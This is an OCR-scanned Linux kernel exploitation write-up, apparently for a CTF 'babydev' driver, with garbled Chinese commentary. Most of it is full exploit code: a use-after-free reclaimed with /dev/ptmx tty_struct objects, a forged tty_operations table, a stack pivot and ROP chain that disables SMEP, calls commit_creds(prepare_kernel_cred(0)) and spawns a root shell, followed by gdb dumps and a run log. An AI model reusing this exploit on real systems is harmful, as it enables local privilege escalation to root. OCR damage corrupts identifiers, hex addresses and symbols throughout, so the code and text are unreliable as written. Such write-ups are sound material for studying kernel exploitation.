void (*close)(struct tty struct *, struct file *);

void (*shutdown)(struct tty_struct *);

void (*cleanup)(struct tty struct *);

int (*write)(struct tty_struct *, const unsigned char *, int);

/* --- cacheline 1 boundary (64 bytes) --- */

int (*put_char)(struct tty struct *, unsigned char);

void (*flush_chars)(struct tty struct *);

int (*write_room)(struct tty struct *);

int (*chars_in_buffer)(struct tty struct *);

int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int);
long int (*compat_ioctl)(struct tty struct *, unsigned int, long unsigned int);
void (*set_termios)(struct tty struct *, struct ktermios *);
void (*throttle)(struct tty_struct *);

/* --- cacheline 2 boundary (128 bytes) --- */
void (*unthrottle)(struct tty struct *);

void (*stop)(struct tty struct *);

void (*start)(struct tty struct *);

void (*hangup)(struct tty_struct *);

int (*break_ctl)(struct tty struct *, int);

void (*flush_buffer)(struct tty struct *);

void (*set _ldisc)(struct tty_ struct *);

C0O 00O 0O 0O 00O 00 00 00

void (*wait_until _sent)(struct tty_struct *, int);
/* --- cacheline 3 boundary (192 bytes) --- */
void (*send_xchar)(struct tty struct *, char);

int (*tiocmget)(struct tty struct *);

int (*tiocmset)(struct tty struct *, unsigned int, unsigned int);

int (*resize)(struct tty struct *, struct winsize *);

int (*set_termiox)(struct tty struct *, struct termiox *);

int (*get_icount)(struct tty struct *, struct serial icounter_struct *);
const struct file_ operations *proc_fops;

/* size: 248, cachelines: 4, members: 31 */
/* last cacheline: 56 bytes */

00O 00 00 00 00 00 00 ©

00O 00O 0O 0O 00 00 00 00




typedef int  attribute ((regparm(3))) (* commit creds)(unsigned long cred);
typedef unsigned long _ attribute ((regparm(3))) (* prepare_kernel cred)(unsigned long cred);

commit_creds commit_creds = Oxffffffff810al1420;
prepare_kernel cred prepare_kernel cred = Oxffffffff810a1810;
long native write cr4 = OxFFFFFFFF810635B0;
long xchgeaxesp = OxFFFFFFFF81007808;
long poprdiret = OxFFFFFFFF813E7D6F;
long iretq = OxFFFFFFFF8181A797;
long swapgs = OXFFFFFFFF81063694;

void get root_payload(void)
{

commit_creds(prepare_kernel cred(9));

void get shell()

{
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);

struct tty_operations fake_ops;

char fake_procfops[1024];

unsigned long user_cs, user_ss, user_rflags;

static void save_state()
{
asm(
"movqg %%cs, %0\n"
"movq %%ss, %1\n"
"pushfg\n"
"popq %2\n"
"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)

"memory");

void set_affinity(int which_cpu)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(which_cpu, &cpu_set);

if (sched_setaffinity(@, sizeof(cpu_set), &cpu_set) != 0)
{

perror("sched _setaffinity()");
exit(EXIT_FAILURE);

int fd = 0;
8.




int arg = 0;

char Buf[4096];

int result;

int j;

struct tty_struct *tty;

int m_fd[ALLOC_NUM],s_fd[ALLOC_NUM];
int i, len;

unsigned long lower_addr;

unsigned long base;

char buff2[0x300];

printf("[+]Save state...\n");
save_state();

printf("[+]save_state done\n");

printf("[+]Set affinity...\n");
set_affinity(0);
printf("[+]set_affinity done\n");

printf("[+]Prepare fake_ops and fake_procfops...\n");
memset (&fake_ops, 0, sizeof(fake_ops));
memset (fake_procfops, 0, sizeof(fake_procfops));
fake_ops.proc_fops = &fake_procfops;
fake_ops.ioctl = xchgeaxesp;
printf("[+]fake_tty ops & fake_procfops prepare done\n");
printf("[+]addr of fake_ops: %p\n",&fake ops);
printf("[+]addr of fake_procfops: %p\n",fake_procfops);

//open two babydev
printf("[+]Open two babydev...\n");

fd = open("/dev/babydev",0 _RDWR);

fd1l = open("/dev/babydev",0_RDWR);
printf("[+]babyopen twice done\n");

//init babydev_struct
printf("[+]Init buffer for tty_ struct(size:%d)...\n",sizeof(tty));
ioctl(fd,COMMAND, ©x2€0);
ioctl(fd1,COMMAND,Ox2€e0);
printf("[+]babyioctl twice done\n");

//race condition
printf("[+]Free buffer 1st...\n");
close(fd);

printf("[+]free fd done\n");

printf("[+]Try to occupy tty struct...\n");
for(i=0;i<ALLOC_NUM;i++)
{

m_fd[i] = open("/dev/ptmx",0 RDWR|O NOCTTY);
if(m_fd[i] == -1)
{

printf("[-]The %d pmtx error\n",i);
}

}
printf("[+]open ptmx done\n");

printf("[+]Let"'s debug it\n");
printf("[+]addr of xchgeaxesp: %p\n",xchgeaxesp);
lower_addr = xchgeaxesp & OxFFFFFFFF;




base = lower_addr & ~OXFFF;
if (mmap(base, ©x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, ©)
{
perror("mmap");
exit(1);
¥
unsigned long rop_chain[]= {
poprdiret,
ox6f0, // crd with smep disabled
native write cr4,
get_root_payload,
swapgs,
0, // dummy
iretq,
get_shell,
user_cs, user_rflags, base + 0x10000, user_ss
¥
memcpy (lower_addr, rop_chain, sizeof(rop_chain));
printf("[+]addr of mmap base: %p\n",base);
printf("[+]addr of ROP chain: %p\n",lower_addr);
printf("[+]addr of get_root_payload: %p\n",get root_payload);
printf("[+]addr of get_shell: %p\n",get_shell);

//uaf here

printf("[+]Read tty struct...\n");
len = read(fdl, buff2, 0x20);
if(len == -1)
{
perror("read");
exit(-1);
¥
printf("[+]read tty struct done\n");
//printf("read len=%d\n", len);

printf("[+]Head content of tty_struct(before):\n");
for(j =0; j < 4; j++)
{
printf("(%d)%p\n", j,*(unsigned long long*)(buff2+j*8));

printf("[+]Modify tty struct...\n");
*(unsigned long long*)(buff2+3*8) = &fake_ops;
printf("[+]modify tty struct done\n");

printf("[+]Write back to tty_struct...\n");
len = write(fdl, buff2, 0x20);
if(len == -1)
{
perror("write");
exit(-1);
}
printf("[+]write back to tty struct done\n");

printf("[+]Head content of tty struct(after):\n");
for(j =0; j < 4; j++)
{

printf("(%d)%p\n", j,*(unsigned long long*)(buff2+j*8));




printf("[+]Get shell...\n");
for(i = @0; i < 256; i++)
{

ioctl(m_fd[i], @, @);//FFFFFFFF814DSAED call rax

}

printf("[+]get shell done");

}

it

UAFF| H 2 7 #E % iFfake_ops

/% ./exp2
[+]Save state...

[[+]save_state done

([[+]5et affinity.

([[+]set_affinity done

[[+]Prepare fake ops and fake procfops...
([[+]fake_tty ops & fak
[+]addr of fake ops:

([+]addr of fake_procfops: @x6cddse
i[+]0pen two babydev...

x/40gx Ox6celad

jox6ce210:
lox6ce220:

lox6ce270:
OX6ce280:

Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
Ax00000000000060000
OxffFfffff81007808
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x00000000006cdd8a
Ox0000000000000050
0x0000000000000001
Ox000000000000003e
0x0000000000000000

e procfops prepare done
Ox6celad

0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000040
0x0000000000000000
Ox000008pOOAGOOOAG
0x0000

Eﬁﬁgﬁgdﬁﬁﬂt”ﬁﬂﬁw

proc_fopst BV EIEIRETBI R, X B RBEMEHIE T —Ra A5 BE v H

i kbabyopenz J5 & buffer K /M T tty_struct

xf20gx Oxffffffffcoeo24de

exffffffffconaz4doe:

Oxffffffffcoon24en:

oxffffffffconnz24afe:
oxffffffffcopn2500:
oxffffffffcopn2510:
oxfFffffffconn2520:
oxffffffffcopn2530:
oxffffffffcopn2540:

Oxffffffffco002550:
QOxFIFfffffco002560:

x/40gx Oxffff880003c3e000

axffff88e003c3ennn
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
0x0000000000000000

0x000000000000020
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000



OxffffE80003c3e000:
Oxffffegeen3c3enln:
OxffffE80003c3e020:
Oxffffegeen3c3ed3n:
OxffffE80003c3e040:
Oxffffegee03c3edsn:
OxffffE80003c3e060:
Oxffffegeen3c3edyo:
OxffffE80003c3e080:
loxffff880003c3e090:
OxFFfIf880003c3e0al:
Oxffffesne03c3edbo:
OxFFfIf880003c3e0cO:
oxffffe8pe03c3e0do:
OxFFfTf880003c3e0en:
Oxffffesna03cienfo:
OxffffE80003c3el00:
Oxffffegeen3c3elln:
Oxffffe80003c3el20:
Oxffffegeen3c3el30:

babywrite/& Bttty struct & 5

0x0000000100005401
axffffesnen26cdasn
0x0000000000000000
0x0000000000000000
OxffffE80003c3e038
Oxffffegee03c3enas
0x0000000000000001
Oxffff88e003c3e068
0x0000000000000000
Oxffffeseee03c3ensn
0x0000000000000000
0x0000000000000001
OxffffE80003c3e0bs
0x0000000000000000
OxFFfTff880003c3eded
0x0000000000000000
0x0000000000000001
Oxffffeseee3c3el08
0x0000000000000000
0x0000000000000000

x/40gx OxfffTf880003c3e000

Oxffffege003c3e000:
OxffffE80003c3e010:
Oxffffegee03c3en20:
OxffffE80003c3e030:
Oxffffegee03c3e0q40:
OxffffE80003c3e050:
Oxffff88e003c3e060:
laxTfffFf880003Cc3e070:
Oxffffegee03c3e080:
OxffffE80003c3e090:
Oxffffe8p003c3ean:
BxFFfIf880003c3e0bo:
Oxffffe8p003c3elc:
axffffe8ne03c3endo:
Oxffffe8p003c3ele:
OxFFfIf880003c3e0TO:
Oxffffegeen3c3elnn:
Oxffffe800603c3el18:
Oxffffegeen3c3el20:
Oxffffe80003c3el30:

ioct! R £ i A AT T L 1)

oxffffffffa14d8aed:
axffffffffl4dsaef:
exffffffffa14dsat4:
axffffffffald4dsafa:
axffffffffa14dsafd:

p Srax
= Oxffffffff810687808

LRE BRSO AR

0x0000000100005401
Oxffffe800026cdasgn
0x0000000000000000
0x0000000000000000
Oxffffesee03c3en3s
OxffffE80003c3e048
0x0000000000000001
OxffffE80003c3e068
0x0000000000000000
OxffffE80003c3e090
0x0000000000000000
0x0000000000000001
Oxffffeseen3c3enbs
0x0000000000000000
OxffffE80003c3efed
0x0000000000000000
0x0000000000000001
OxffffE80063c3el0s
0x0000000000000000
0x0000000000000000

AxARARAAAAAAAARAAR
axffffffffel1a74fse
Ox0000000000000000
Oxffffese083c3e038
Oxffffe80003c3ends
axffffese00026a2970
Oxffff880003c3e068
0x0000000000000000
Ox0000000000000001
axffffese083c3e090
Ox0000000000000000
Oxffffeseoe3c3enbs
Ox0000000000000000
0x0000000000000000
OxFfff880003c3efed
0x0000000000000000
axffffegee03cielns
0x0000000000000000

oS

0x0000000000000000
Ox00000000006celad
0x0000000000000000
Oxffff880003c3e038
Oxffffese0083c3enqs
axffff8800026a2976
Oxffff8800083c3e068
Ox0000000000000000
0x0000000000000001
axffffe80803c3e090
0x0000000000000000
axffffeg80803c3edbs
0x0000000000000000
Ox0000000000000000
Oxffff880003c3eneld
Ox0000000000000000
axffffeseea3c3elns
Ox0000000000000000

"5 dobeas5asb0ask

--> Ox0

--> 0x8948550000441f0f




oxfFFFffff81007808: xchg esp,eax
oxffffffffa1007809:

Oxffffffff8100780a: mov rax,QWORD PTR [rbp-0x58]
OxFIffffff8100780e: mov rdi,QWORD PTR [rax]

p Srsp
(void *) exffff8g80000ae3des
p Srax
exffffffffal10e7808

p Srsp
(void *) Ox81007868
p Srax
Oxae3de8

--> Ox660000441T0fc35f

--> @x5de7220fe5894855
--> OxecB34853e5894855
--> @xB01fefc3sdfseiaf

--> Oxff80108f5750cf48
--> 0x30ec8348e5894855

[+]addr of mmap base: ©x81867080
+]addr of ROP chain: 8x81007808

[+]addr of get root_payload: 0x4889ae
[+]addr of get shell: 8x4089d9

B3 S A B I -IROPEE .

# AROP %

=> Oxffffffff813e7d6f:
exffffffffai13e7d7o:

axffffffff810635bo: rbp
axffffffffe10635b1: rbp,rsp
exfrffffff810635b4: cr4,rdi
axffffffffe10635b7: rbp
oxffffffff810635b8:

=> @x400%ae: push rbp



Ox4009af: rbp,rsp

0x4009b2: rbx

Ox4009b3: rsp,ox8

0x4009b7: rbx,QWORD PTR [rip+8x2ca6d2] # Bx6cbage

OxffffffffB1063694: swapgs
axffffffff81063697: pop rbp
Oxffffffff81063698:

=> @xffffffff8181a797: 1iretq

R Th

/5 .[fexp2

[+]Save state...

[+]save_state done

[+]Set affinity...

[+]set_affinity done

[+]Prepare fake ops and fake_procfops...
[+]1fake _tty ops & fake procfops prepare done
[+]addr of fake ops: @x6cela®

[+]addr of fake procfops: @x6cddse
‘[+]0pen two babydev...

[ 4.853620] device open

[ 4.858231] device open

[+]babyopen twice done

[+]Init buffer for tty_struct(size:8)...
[ 4.876820] alloc done

i 4.879038] alloc done
‘[+]babyioctl twice done

([+]Free buffer 1st...

[ 4.884548] device release

[+]free fd done

‘[+]Try to occupy tty_struct...
‘[+]open ptmx done

‘[+]Let's debug it

| [+]addr of xchgeaxesp: oxffffffffgi007808
"[+]addr of mmap base: 0x81007000
 [+]addr of ROP chain: 0x81007808
[+]addr of get root payload: ©x4009ae
| [+]addr of get_shell: 0x4809d9
“[+]Read tty struct...

‘[+]read tty_struct done

[+]Head content of tty struct(before):
(6)ox1000605401

1(1)(nil)

(2)oxffffagnen26cdase
(3)exfrffffffa1av4fse

[+]Modify tty struct...

[+Imodify tty struct done

[+]Write back to tty struct...
[+]write back to tty struct done
[+]Head content of tty_struct(after):
(6)ox100085401

(1)(nil)

(2)exffffagnen26cdase

(3)0x6celald

[+]Get shell...

/ # whoami
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